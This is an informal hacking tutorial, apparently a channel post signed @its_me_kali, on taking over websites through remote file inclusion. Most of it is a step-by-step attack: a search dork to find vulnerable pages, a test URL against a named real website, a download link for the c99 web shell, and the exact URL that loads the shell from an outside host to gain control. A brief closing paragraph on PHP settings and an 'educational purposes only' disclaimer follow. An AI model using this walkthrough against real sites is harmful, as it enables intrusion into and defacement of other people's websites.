How To Hack Sites Using Remote File Inclusion

@its_me_kali

⭕🖤⭕🇰🇦🇱🇮™⭕🖤⭕

Lets Start

1st Find a Vunerable websites using Google Dork

“inurl:index.php?page=” its Most Popular Dork of RFI hacking

This will show all the pages which has “index.php?page=” in their URL, Now to test whether the

website is vulnerable to Remote file Inclusion or not the hacker use the following command

www.targetsite.com/index.php?page=www.google.com

See example of this website http://www.cbspk.com

So the hacker url will become

http://www.cbspk.com/v2/index.php?page=http://www.google.com

If after executing the command the homepage of the google shows up then then the website is

vulnerable to this attack if it does not come up then you should look for a new target. In my case

after executing the above command in the address bar Google homepage shows up indicating

that the website is vulnerable to this attack.

Now the hacker would upload the shells to gain access. The most common shells used are c99

shell or r57 shell. I would use c99 shell. You can download c99 shell from the link below:

http://www.sh3ll.org/c99.zip

The hacker would first upload the shells to a webhosting site such as ripway.com,

viralhosts.com,110mb.com or another free hosts etc. Now here is how a hacker would execute

the shells to gain access. Lets say that the url of the shell is http://www.sh3ll.org/c99.txt?

Now here is how a hacker would execute the following command to gain access

http://www.cbspk.com/v2/index.php?page=http://www.sh3ll.org/c99.t xt?

Don't Forget To add “?” after .txt at the end of url or else the shell will not execute. Now the

hacker is inside the website and he could do anything with it he can upload & deface pages.

How to Protect your Websites and Forums from Remote file inclusion attack?

As we are ethical hackers i will also explain for webmasters to protect their websites from RFI attack.

To protect yourself from RFI attacks, simply make sure you are using up-to-date scripts, and make sure you server php.ini file has register_globals and allow_url_fopen disabled.

Note: Website hacking is illegal, this article is for Educational purposes only

🌟REGARDS=@its_me_kali

How To Hack Sites Using Remote File Inclusion

Report Page